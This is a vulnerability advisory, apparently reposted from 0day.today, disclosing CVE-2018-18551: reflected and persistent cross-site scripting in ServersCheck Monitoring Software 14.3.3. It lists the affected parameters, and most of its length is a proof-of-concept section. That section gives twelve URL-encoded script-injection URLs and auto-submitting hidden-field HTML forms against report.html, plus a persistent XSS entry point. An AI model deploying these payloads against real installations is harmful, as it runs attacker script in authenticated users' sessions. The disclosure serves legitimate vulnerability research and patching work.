ServersCheck Monitoring Software 14.3.3 Cross Site Scripting Vulnerability

[+] ServersCheck Monitoring Software 14.3.3 Cross Site Scripting Vulnerability
[+] Credits: John Page (aka hyp3rlinx)    
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/CVE-2018-18551-SERVERSCHECK-MONITORING-SOFTWARE-CROSS-SITE-SCRIPTING.txt
[+] ISR: ApparitionSec          


Greetz: ***Greetz: indoushka | Eduardo B.***


[Vendor]
www.serverscheck.com


[Product]
ServersCheck Monitoring Software - through 14.3.3

Software for monitoring your edge computing infrastructure, network & servers.

http://downloads.serverscheck.com/monitoring_software/setup.exe
File hash: b7bffe4fc83b6a4586c099d6c62d8eeb



[Vulnerability Type]
Cross Site Scripting


[CVE Reference]
CVE-2018-18551


[Security Issue]
ServersCheck Monitoring Software has Reflected and Persistent XSS entry points available in many locations allowing arbitrary code execution in the security context
of the currently authenticated user.

sensors.html status parameter
sensors.html type parameter
sensors.html device parameter
report.html location parameter
group_delete.html group parameter
report_save.html query parameter
sensors.html location parameter
group_delete.html group parameter.


[References]
https://serverscheck.com/monitoring-software/release.asp


[Exploit/POC]

XSS 1)
http://127.0.0.1:1272/sensors.html?status=%3Cscript%3Ealert(0)%3C/script%3E

XSS 2)
http://127.0.0.1:1272/sensors.html?type=%3Cscript%3Ealert(1)%3C/script%3E&location=%27

XSS 3)
http://127.0.0.1:1272/sensors.html?device=%3Cscript%3Ealert(2)%3C/script%3E

XSS 4)
http://127.0.0.1:1272/report.html?location=&sensor_types=%3C%2Fh2%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Ch2%3E

XSS 5)
http://127.0.0.1:1272/group_delete.html?group=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E

XSS 6)
http://127.0.0.1:1272/report_save.html?query=%27%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E

XSS 7)
http://127.0.0.1:1272/sensors.html?location=&type=%3C%2Fli%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cli%3E

XSS 8)
http://127.0.0.1:1272/group_delete.html?group=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E


XSS 9)

<form action="http://127.0.0.1:1272/report.html" method="post">
<input type="hidden" name="datefrom" value="'/><script>alert(1)</script>">
<input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52">
<input type="hidden" name="location" value="">
<input type="hidden" name="sensor_types" value="CPUcontrol_sgw">
<script>document.forms[0].submit()</script>
</form>


XSS 10)
<form action="http://127.0.0.1:1272/report.html" method="post">
<input type="hidden" name="datefrom" value="9%2F29%2F2018">
<input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52">
<input type="hidden" name="every" value="'><script>alert(1)</script>">
<input type="hidden" name="report_title" value="POC">
<input type="hidden" name="sensor_names" value="">
<input type="hidden" name="sensor_types" value="PING">
<input type="hidden" name="time_frame" value="4h">
<script>document.forms[0].submit()</script>
</form>


XSS 11)
<form action="http://127.0.0.1:1272/report.html" method="post">
<input type="hidden" name="datefrom" value="9%2F29%2F2018">
<input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52">
<input type="hidden" name="every" value="0">
<input type="hidden" name="report_title" value="'><script>alert(1)</script>">
<input type="hidden" name="sensor_names" value="">
<input type="hidden" name="sensor_types" value="PING">
<input type="hidden" name="time_frame" value="4h">
<script>document.forms[0].submit()</script>
</form>

XSS 12)
<form action="http://127.0.0.1:1272/report.html" method="post">
<input type="hidden" name="datefrom" value="9%2F29%2F2018">
<input type="hidden" name="dateto" value="9%2F29%2F2018+21%3A52">
<input type="hidden" name="every" value="0">
<input type="hidden" name="report_title" value="PWN">
<input type="hidden" name="sensor_names" value="'><script>alert(1)</script>">
<input type="hidden" name="sensor_types" value="PING">
<input type="hidden" name="time_frame" value="4h">
<script>document.forms[0].submit()</script>
</form>


13 PERSISTENT XSS)
http://127.0.0.1:1272/floorplan_editor.html?floorplan=16
PARAM lat & lng & location_name
http://127.0.0.1:1272/location_save.html
;alert(1);

#  0day.today [2018-10-24]  #